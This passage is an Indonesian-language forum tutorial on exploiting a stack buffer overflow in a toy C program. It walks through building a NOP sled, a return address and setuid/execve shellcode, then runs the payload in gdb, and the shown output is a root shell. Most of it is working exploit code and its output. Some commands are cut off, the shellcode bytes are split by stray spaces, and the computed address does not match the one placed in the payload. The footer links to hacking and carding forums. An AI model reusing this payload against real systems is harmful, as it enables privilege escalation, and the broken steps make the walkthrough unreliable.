-- Attack vector
ok sekarang bagian pengexploitasinya. kita butuh membuat attack vector untuk pengexploitasiannya.
sekarang yang perlu dimengerti apa itu NOP , NOPSLED, PAYLOAD.
- NOP
pertama saya akan menjelaskan apa itu NOP.
NOP dalam bahasa assembly adalah no-op atau no operation sampai instruksi selanjutnya tereksekusi.
dengan kata lain NOP adalah bagian yang dilewati sampai instruksi yang benar2 tereksekusi.
disini kita pakai NOP untuk melancarkan attack sampai bertemu instruksi yang kita inginkan.
NOP dalam bentuk opcode adalah "90" atau "\x90" dalam bentuk shellcode.
- NOPSLED
kedua saya akan menjelaskan apa itu NOPSLED. NOPSLED adalah serentetan yang terdiri dari NOP sampai beberapa bytes.
contoh seperti `perl -e 'print "\x90" x 40'`. maka kita akan mendapatkan "x90" sampai 40 bytes (40 kali).
- PAYLOAD
ketiga saya menjelaskan apa itu PAYLOAD. PAYLOAD adalah serentetan kode yang akan kita eksekusikan.
shellcode adalah sebagai PAYLOAD nya
selanjutnya kita akan memeriksa dimana NOPSLED akan di tempatkan.
kita ulangi address tersebut sampai register EIP teroverwrite.
dan akhirnya memaksa program untuk melanjutkan eksekusi pada alamat NOP.
lalu kita ambil alamat pada register ESP dan kurangi register tersebut. sebut saja bilangan itu 300.
root@bt:~# printf "%x\n" $((0xbffff210-300))
bffff0e4
root@bt:~#
alamat tersebut akan menempatkan kita pada NOPSLED.
sekarang yang kita butuhkan adalah mengkonversi alamat tersebut pada bentuk little endian.
-> e4f0ffbf
lalu kita jadikan ke bentuk shellcode.
-> \x04\xf1\xff\xbf
sekarang saatnya kita menghitung berapa kali alamat tersebut harus di ulang.
kita tahu bahwa untuk mengoverwrite register EIP kita membutuhkan 408 bytes.
root@bt:~# print "%d\n" $((408 -
kita kurangi dengan panjang NOPSLED kita. panjang NOPSLED kita adalah 200 bytes
root@bt:~# print "%d\n" $((408 - 200
shellcode yang akan kita gunakan shellcode yang akan memberikan shell. kita bisa pakai shellcode berikut :
"\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\ x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x8 9\xe1\xcd\x80"
shellcode tersebut berukuran 28 bytes.
dan kurangi 28 bytes untuk shellcode kita.
root@bt:~# printf "%d\n" $((408 - 200 - 28))
180
root@bt:~#
jadi kita 180 bytes untuk mengulangi alamat tersebut.
karena address memiliki panjang 4 bytes. kita harus membaginya dengan 4.
root@bt:~# printf "%d\n" $((180/4))
45
root@bt:~#
ok kita telah dapatkan berapa kali yang kita butuhkan untuk mengoverwrite EIP. yaitu 45.
maka payload kita akan seperti berikut :
NOPSLED + SHELLCODE + ESP
`perl -e 'print "\x90" x 200 .
"\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\
x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x8 9\xe1\xcd\x80" .
"\x04\xf1\xff\xbf" x 45'`
sekarang saatnya kita run paload kita tersebut langsung saja di debugger.
(gdb) run `perl -e 'print "\x90" x 200 .
"\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\
x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x8 9\xe1\xcd\x80" .
"\x04\xf1\xff\xbf" x 45'`
Starting program: /root/bof `perl -e 'print "\x90" x 200 .
"\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\
x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x8 9\xe1\xcd\x80" .
"\x04\xf1\xff\xbf" x 45'`
Breakpoint 1, main (argc=2, argv=0xbffff2d4) at bof.c:7
7 strcpy(buffer, argv[1]);
(gdb) continue
Continuing.
Executing new program: /bin/bash
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
(no debugging symbols found)
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
sh-3.2# id
uid=0(root) gid=0(root) groups=0(root)
sh-3.2# echo WIN.
WIN.
sh-3.2# exit
Program exited normally.
(gdb) quit
selamat ! anda telah sukses mengexploitasi buffer overflow !
-- special thanks : devilzc0de crew and jasakom crew
:
[You must be registered and logged in to see this link.] /
[You must be registered and logged in to see this link.] -
[You must be registered and logged in to see this link.] , indonesianhacker.org, yogyacarderlink.web.id
: serverisdown.org, xc0de.or.id, echo.or.id